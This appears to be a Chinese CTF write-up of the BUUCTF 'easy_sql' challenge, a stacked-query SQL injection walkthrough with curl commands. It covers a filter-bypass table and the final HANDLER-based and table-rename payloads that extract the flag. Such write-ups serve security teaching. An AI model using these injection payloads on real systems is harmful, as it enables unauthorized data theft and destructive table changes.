CTF SQL注入 - 随便注
题目信息
- 题目名称: easy_sql / 随便注
- 题目类型: SQL注入
- 题目URL: http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/
- FLAG:
flag{7acd36c9-1cbb-4e30-8ee5-339726d381d2}
题目描述
页面提示:”取材于某次真实环境渗透,只说一句话:开发和安全缺一不可”
页面注释:”sqlmap是没有灵魂的”
解题过程
1. 初步探测
首先访问题目页面,发现是一个输入框,提示”姿势”,查看源码发现是GET请求,参数名为inject。
测试正常输入:
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1" |
返回结果:
1 | array(2) { |
2. 确认SQL注入
测试单引号闭合:
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1'" |
返回错误:
1 | error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 |
结论:存在SQL注入,数据库是MariaDB。
3. 检测过滤关键字
尝试使用union select:
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1'union select 1,2-- " |
返回:
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
结论:select|update|delete|drop|insert|where|.等关键字被过滤。
4. 堆叠查询探测
由于关键字被过滤,尝试堆叠查询(多语句注入):
查看所有数据库:
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1';show databases;-- " |
返回结果包含以下数据库:
- ctftraining
- information_schema
- mysql
- performance_schema
- supersqli ← 可疑数据库
- test
5. 查看表结构
查看ctftraining数据库的表:
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1';use ctftraining;show tables;-- " |
发现FLAG_TABLE,但字段默认值为”not_flag”,排除。
查看supersqli数据库的表:
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1';use supersqli;show tables;-- " |
发现两个表:
1919810931114514← 数字命名的表,非常可疑words
6. 查看可疑表的结构
查看words表结构:
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1';use supersqli;show columns from words;-- " |
结果:id(int), data(varchar)
查看数字表结构(注意反引号):
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1';use supersqli;show columns from \`1919810931114514\`;-- " |
关键发现:该表有一个字段叫flag!
1 | array(6) { |
7. 绕过select过滤获取flag
由于select被过滤,尝试以下方法:
尝试1:预处理语句(失败)
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1';set @sql=CONCAT('se','lect * from \`1919810931114514\`;');prepare stmt from @sql;execute stmt;-- " |
返回过滤提示:strstr($inject, "set") && strstr($inject, "prepare")
尝试2:重命名表(备选方案)
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1';use supersqli;rename table words to words1;rename table \`1919810931114514\` to words;-- " |
可以执行成功,但没有直接返回数据。
尝试3:handler语句(成功!)
MySQL/MariaDB的handler语句可以直接读取表数据,无需使用select。
1 | curl -s "http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1';use supersqli;handler \`1919810931114514\` open;handler \`1919810931114514\` read first;-- " |
成功获取flag:
1 | array(1) { |
知识点总结
1. 堆叠查询(Stacked Queries)
在SQL注入中,使用分号;分隔多个SQL语句,可以执行额外的查询。
1 | 1'; show databases; -- |
2. MySQL/MariaDB 特殊表名处理
当表名是数字或包含特殊字符时,需要用反引号包裹:
1 | show columns from `1919810931114514`; |
3. Handler语句
MySQL的handler语句提供了一种直接访问表存储引擎的接口,可以绕过SELECT关键字限制:
1 | handler table_name open; -- 打开表 |
4. 常用绕过技巧
| 过滤 | 绕过方法 |
|---|---|
| select | handler语句、预编译语句、重命名表+alter字段 |
| set/prepare | concat+char编码、十六进制编码 |
| where | HAVING、LIMIT OFFSET |
5. 表重命名攻击
当原查询只返回特定字段时,可以将flag表重命名为原查询的表名:
1 | rename table words to words1; |
完整Payload
获取flag的最终payload:
1 | 1';use supersqli;handler `1919810931114514` open;handler `1919810931114514` read first;-- |
URL编码后:
1 | http://3e2916c7-99d8-47f7-9b53-88374d309e2c.node5.buuoj.cn:81/?inject=1%27%3Buse%20supersqli%3Bhandler%20%601919810931114514%60%20open%3Bhandler%20%601919810931114514%60%20read%20first%3B--%20 |
题目启示
- 开发和安全缺一不可:过滤了常见SQL关键字,但忽略了其他SQL语句(如handler)
- sqlmap不是万能的:手工注入能发现自动化工具遗漏的漏洞点
- 堆叠查询的危险性:即使某些关键字被过滤,堆叠查询仍可能导致数据泄露